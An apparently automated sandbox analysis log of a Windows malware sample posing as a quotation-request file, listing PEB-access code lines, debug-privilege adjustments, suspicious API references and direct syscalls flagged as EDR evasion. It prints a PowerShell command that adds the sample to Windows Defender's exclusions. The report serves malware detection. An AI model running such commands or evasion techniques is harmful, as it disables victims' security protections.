Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03630770 mov eax, dword ptr fs:[00000030h]	4_2_03630770
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03630770 mov eax, dword ptr fs:[00000030h]	4_2_03630770
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03630770 mov eax, dword ptr fs:[00000030h]	4_2_03630770
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03630770 mov eax, dword ptr fs:[00000030h]	4_2_03630770
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03630770 mov eax, dword ptr fs:[00000030h]	4_2_03630770
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03630770 mov eax, dword ptr fs:[00000030h]	4_2_03630770
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03630770 mov eax, dword ptr fs:[00000030h]	4_2_03630770
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03630770 mov eax, dword ptr fs:[00000030h]	4_2_03630770
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03630770 mov eax, dword ptr fs:[00000030h]	4_2_03630770
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03630770 mov eax, dword ptr fs:[00000030h]	4_2_03630770
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03630770 mov eax, dword ptr fs:[00000030h]	4_2_03630770
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03633740 mov eax, dword ptr fs:[00000030h]	4_2_03633740
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03633740 mov eax, dword ptr fs:[00000030h]	4_2_03633740
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03633740 mov eax, dword ptr fs:[00000030h]	4_2_03633740
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036F3749 mov eax, dword ptr fs:[00000030h]	4_2_036F3749
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0365674D mov esi, dword ptr fs:[00000030h]	4_2_0365674D
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0365674D mov eax, dword ptr fs:[00000030h]	4_2_0365674D
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0365674D mov eax, dword ptr fs:[00000030h]	4_2_0365674D
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03620750 mov eax, dword ptr fs:[00000030h]	4_2_03620750
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03662750 mov eax, dword ptr fs:[00000030h]	4_2_03662750
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03662750 mov eax, dword ptr fs:[00000030h]	4_2_03662750
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036A4755 mov eax, dword ptr fs:[00000030h]	4_2_036A4755
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03623720 mov eax, dword ptr fs:[00000030h]	4_2_03623720
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0363F720 mov eax, dword ptr fs:[00000030h]	4_2_0363F720
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0363F720 mov eax, dword ptr fs:[00000030h]	4_2_0363F720
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0363F720 mov eax, dword ptr fs:[00000030h]	4_2_0363F720
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036DF72E mov eax, dword ptr fs:[00000030h]	4_2_036DF72E
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0365C720 mov eax, dword ptr fs:[00000030h]	4_2_0365C720
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0365C720 mov eax, dword ptr fs:[00000030h]	4_2_0365C720
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036E972B mov eax, dword ptr fs:[00000030h]	4_2_036E972B
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03619730 mov eax, dword ptr fs:[00000030h]	4_2_03619730
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03619730 mov eax, dword ptr fs:[00000030h]	4_2_03619730
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03655734 mov eax, dword ptr fs:[00000030h]	4_2_03655734
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036FB73C mov eax, dword ptr fs:[00000030h]	4_2_036FB73C
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036FB73C mov eax, dword ptr fs:[00000030h]	4_2_036FB73C
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036FB73C mov eax, dword ptr fs:[00000030h]	4_2_036FB73C
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036FB73C mov eax, dword ptr fs:[00000030h]	4_2_036FB73C
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0362973A mov eax, dword ptr fs:[00000030h]	4_2_0362973A
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0362973A mov eax, dword ptr fs:[00000030h]	4_2_0362973A
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0365273C mov eax, dword ptr fs:[00000030h]	4_2_0365273C
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0365273C mov ecx, dword ptr fs:[00000030h]	4_2_0365273C
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0365273C mov eax, dword ptr fs:[00000030h]	4_2_0365273C
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0369C730 mov eax, dword ptr fs:[00000030h]	4_2_0369C730
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03625702 mov eax, dword ptr fs:[00000030h]	4_2_03625702
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03625702 mov eax, dword ptr fs:[00000030h]	4_2_03625702
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03627703 mov eax, dword ptr fs:[00000030h]	4_2_03627703
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0365C700 mov eax, dword ptr fs:[00000030h]	4_2_0365C700
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03620710 mov eax, dword ptr fs:[00000030h]	4_2_03620710
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03650710 mov eax, dword ptr fs:[00000030h]	4_2_03650710
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0365F71F mov eax, dword ptr fs:[00000030h]	4_2_0365F71F
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0365F71F mov eax, dword ptr fs:[00000030h]	4_2_0365F71F
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0362D7E0 mov ecx, dword ptr fs:[00000030h]	4_2_0362D7E0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036427ED mov eax, dword ptr fs:[00000030h]	4_2_036427ED
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036427ED mov eax, dword ptr fs:[00000030h]	4_2_036427ED
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036427ED mov eax, dword ptr fs:[00000030h]	4_2_036427ED
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036217EC mov eax, dword ptr fs:[00000030h]	4_2_036217EC
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036217EC mov eax, dword ptr fs:[00000030h]	4_2_036217EC
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036217EC mov eax, dword ptr fs:[00000030h]	4_2_036217EC
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036247FB mov eax, dword ptr fs:[00000030h]	4_2_036247FB
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036247FB mov eax, dword ptr fs:[00000030h]	4_2_036247FB
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0362C7C0 mov eax, dword ptr fs:[00000030h]	4_2_0362C7C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036257C0 mov eax, dword ptr fs:[00000030h]	4_2_036257C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036257C0 mov eax, dword ptr fs:[00000030h]	4_2_036257C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036257C0 mov eax, dword ptr fs:[00000030h]	4_2_036257C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036A07C3 mov eax, dword ptr fs:[00000030h]	4_2_036A07C3
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036A97A9 mov eax, dword ptr fs:[00000030h]	4_2_036A97A9
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036AF7AF mov eax, dword ptr fs:[00000030h]	4_2_036AF7AF
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036AF7AF mov eax, dword ptr fs:[00000030h]	4_2_036AF7AF
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036AF7AF mov eax, dword ptr fs:[00000030h]	4_2_036AF7AF
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036AF7AF mov eax, dword ptr fs:[00000030h]	4_2_036AF7AF
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036AF7AF mov eax, dword ptr fs:[00000030h]	4_2_036AF7AF
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036207AF mov eax, dword ptr fs:[00000030h]	4_2_036207AF
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0364D7B0 mov eax, dword ptr fs:[00000030h]	4_2_0364D7B0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036F37B6 mov eax, dword ptr fs:[00000030h]	4_2_036F37B6
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0361F7BA mov eax, dword ptr fs:[00000030h]	4_2_0361F7BA
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0361F7BA mov eax, dword ptr fs:[00000030h]	4_2_0361F7BA
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0361F7BA mov eax, dword ptr fs:[00000030h]	4_2_0361F7BA
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0361F7BA mov eax, dword ptr fs:[00000030h]	4_2_0361F7BA
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0361F7BA mov eax, dword ptr fs:[00000030h]	4_2_0361F7BA
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0361F7BA mov eax, dword ptr fs:[00000030h]	4_2_0361F7BA
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0361F7BA mov eax, dword ptr fs:[00000030h]	4_2_0361F7BA
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0361F7BA mov eax, dword ptr fs:[00000030h]	4_2_0361F7BA
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0361F7BA mov eax, dword ptr fs:[00000030h]	4_2_0361F7BA
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036DF78A mov eax, dword ptr fs:[00000030h]	4_2_036DF78A
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036E866E mov eax, dword ptr fs:[00000030h]	4_2_036E866E
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036E866E mov eax, dword ptr fs:[00000030h]	4_2_036E866E
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0365A660 mov eax, dword ptr fs:[00000030h]	4_2_0365A660
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0365A660 mov eax, dword ptr fs:[00000030h]	4_2_0365A660
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03659660 mov eax, dword ptr fs:[00000030h]	4_2_03659660
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03659660 mov eax, dword ptr fs:[00000030h]	4_2_03659660
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03652674 mov eax, dword ptr fs:[00000030h]	4_2_03652674
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0363C640 mov eax, dword ptr fs:[00000030h]	4_2_0363C640
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0363E627 mov eax, dword ptr fs:[00000030h]	4_2_0363E627
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03656620 mov eax, dword ptr fs:[00000030h]	4_2_03656620
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03658620 mov eax, dword ptr fs:[00000030h]	4_2_03658620
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0361F626 mov eax, dword ptr fs:[00000030h]	4_2_0361F626
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0361F626 mov eax, dword ptr fs:[00000030h]	4_2_0361F626
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0361F626 mov eax, dword ptr fs:[00000030h]	4_2_0361F626
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0361F626 mov eax, dword ptr fs:[00000030h]	4_2_0361F626
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0361F626 mov eax, dword ptr fs:[00000030h]	4_2_0361F626
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0361F626 mov eax, dword ptr fs:[00000030h]	4_2_0361F626
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0361F626 mov eax, dword ptr fs:[00000030h]	4_2_0361F626
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0361F626 mov eax, dword ptr fs:[00000030h]	4_2_0361F626
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0361F626 mov eax, dword ptr fs:[00000030h]	4_2_0361F626
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0362262C mov eax, dword ptr fs:[00000030h]	4_2_0362262C
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036F5636 mov eax, dword ptr fs:[00000030h]	4_2_036F5636
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0369E609 mov eax, dword ptr fs:[00000030h]	4_2_0369E609
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03651607 mov eax, dword ptr fs:[00000030h]	4_2_03651607
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0365F603 mov eax, dword ptr fs:[00000030h]	4_2_0365F603
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0363260B mov eax, dword ptr fs:[00000030h]	4_2_0363260B
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0363260B mov eax, dword ptr fs:[00000030h]	4_2_0363260B
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0363260B mov eax, dword ptr fs:[00000030h]	4_2_0363260B
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0363260B mov eax, dword ptr fs:[00000030h]	4_2_0363260B
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0363260B mov eax, dword ptr fs:[00000030h]	4_2_0363260B
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0363260B mov eax, dword ptr fs:[00000030h]	4_2_0363260B
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0363260B mov eax, dword ptr fs:[00000030h]	4_2_0363260B
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03623616 mov eax, dword ptr fs:[00000030h]	4_2_03623616
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03623616 mov eax, dword ptr fs:[00000030h]	4_2_03623616
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03662619 mov eax, dword ptr fs:[00000030h]	4_2_03662619
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0364D6E0 mov eax, dword ptr fs:[00000030h]	4_2_0364D6E0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0364D6E0 mov eax, dword ptr fs:[00000030h]	4_2_0364D6E0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036B36EE mov eax, dword ptr fs:[00000030h]	4_2_036B36EE
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036B36EE mov eax, dword ptr fs:[00000030h]	4_2_036B36EE
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036B36EE mov eax, dword ptr fs:[00000030h]	4_2_036B36EE
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036B36EE mov eax, dword ptr fs:[00000030h]	4_2_036B36EE
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036B36EE mov eax, dword ptr fs:[00000030h]	4_2_036B36EE
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036B36EE mov eax, dword ptr fs:[00000030h]	4_2_036B36EE
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036536EF mov eax, dword ptr fs:[00000030h]	4_2_036536EF
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0369E6F2 mov eax, dword ptr fs:[00000030h]	4_2_0369E6F2
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0369E6F2 mov eax, dword ptr fs:[00000030h]	4_2_0369E6F2
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0369E6F2 mov eax, dword ptr fs:[00000030h]	4_2_0369E6F2
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0369E6F2 mov eax, dword ptr fs:[00000030h]	4_2_0369E6F2
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036A06F1 mov eax, dword ptr fs:[00000030h]	4_2_036A06F1
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036A06F1 mov eax, dword ptr fs:[00000030h]	4_2_036A06F1
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036DD6F0 mov eax, dword ptr fs:[00000030h]	4_2_036DD6F0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0362B6C0 mov eax, dword ptr fs:[00000030h]	4_2_0362B6C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0362B6C0 mov eax, dword ptr fs:[00000030h]	4_2_0362B6C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0362B6C0 mov eax, dword ptr fs:[00000030h]	4_2_0362B6C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0362B6C0 mov eax, dword ptr fs:[00000030h]	4_2_0362B6C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0362B6C0 mov eax, dword ptr fs:[00000030h]	4_2_0362B6C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0362B6C0 mov eax, dword ptr fs:[00000030h]	4_2_0362B6C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0365A6C7 mov ebx, dword ptr fs:[00000030h]	4_2_0365A6C7
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0365A6C7 mov eax, dword ptr fs:[00000030h]	4_2_0365A6C7
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036E16CC mov eax, dword ptr fs:[00000030h]	4_2_036E16CC
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036E16CC mov eax, dword ptr fs:[00000030h]	4_2_036E16CC

Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe

Memory allocated: page read and write | page guard

.NET source code references suspicious native API functions

HIPS / PFW / Operating System Protection Evasion

Source: z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe, -------.cs	Reference to suspicious API methods: LoadLibrary(_0600_FD48_06DC_060F(_FBBD_FBC0_FD90_FDD0._FBB3_0614))
Source: z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe, -------.cs	Reference to suspicious API methods: GetProcAddress(intPtr, _0600_FD48_06DC_060F(_FBBD_FBC0_FD90_FDD0._060A_FDE9_FBB9_FDFF_FBC1))
Source: z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe, -------.cs	Reference to suspicious API methods: VirtualProtect(procAddress, (uint)array.Length, 64u, out var _FDD1_065A_065F_FD43_0609_FBCF_FDC8)

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe" -Force
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe" -Force			Jump to behavior

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe	NtOpenKeyEx: Direct from: 0x77672B9C	Jump to behavior
Source: C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe	NtProtectVirtualMemory: Direct from: 0x77672F9C	Jump to behavior
Source: C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe	NtCreateFile: Direct from: 0x77672FEC	Jump to behavior
Source: C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe	NtOpenFile: Direct from: 0x77672DCC	Jump to behavior
Source: C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe	NtTerminateThread: Direct from: 0x77672FCC	Jump to behavior
Source: C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe	NtProtectVirtualMemory: Direct from: 0x77667B2E	Jump to behavior
Source: C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe	NtQueryInformationToken: Direct from: 0x77672CAC	Jump to behavior
Source: C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe	NtAllocateVirtualMemory: Direct from: 0x77672BEC	Jump to behavior
Source: C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe	NtDeviceIoControlFile: Direct from: 0x77672AEC	Jump to behavior
Source: C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe	NtQuerySystemInformation: Direct from: 0x776748CC	Jump to behavior
Source: C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe	NtQueryAttributesFile: Direct from: 0x77672E6C	Jump to behavior
Source: C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe	NtSetInformationThread: Direct from: 0x77672B4C	Jump to behavior
Source: C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe	NtOpenSection: Direct from: 0x77672E0C	Jump to behavior
Source: C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe	NtQueryVolumeInformationFile: Direct from: 0x77672F2C	Jump to behavior
Source: C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe	NtAllocateVirtualMemory: Direct from: 0x776748EC	Jump to behavior
Source: C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe	NtSetInformationThread: Direct from: 0x776663F9	Jump to behavior
Source: C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe	NtReadVirtualMemory: Direct from: 0x77672E8C	Jump to behavior
Source: C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe	NtCreateKey: Direct from: 0x77672C6C	Jump to behavior
Source: C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe	NtClose: Direct from: 0x77672B6C
Source: C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe	NtWriteVirtualMemory: Direct from: 0x7767490C	Jump to behavior
Source: C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe	NtAllocateVirtualMemory: Direct from: 0x77673C9C	Jump to behavior
Source: C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe	NtDelayExecution: Direct from: 0x77672DDC	Jump to behavior
Source: C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe	NtCreateUserProcess: Direct from: 0x7767371C	Jump to behavior
Source: C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe	NtQuerySystemInformation: Direct from: 0x77672DFC	Jump to behavior
Source: C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe	NtQueryInformationProcess: Direct from: 0x77672C26	Jump to behavior
Source: C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe	NtResumeThread: Direct from: 0x77672FBC	Jump to behavior
Source: C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe	NtReadFile: Direct from: 0x77672ADC	Jump to behavior
Source: C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe	NtAllocateVirtualMemory: Direct from: 0x77672BFC	Jump to behavior
Source: C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe	NtResumeThread: Direct from: 0x776736AC	Jump to behavior
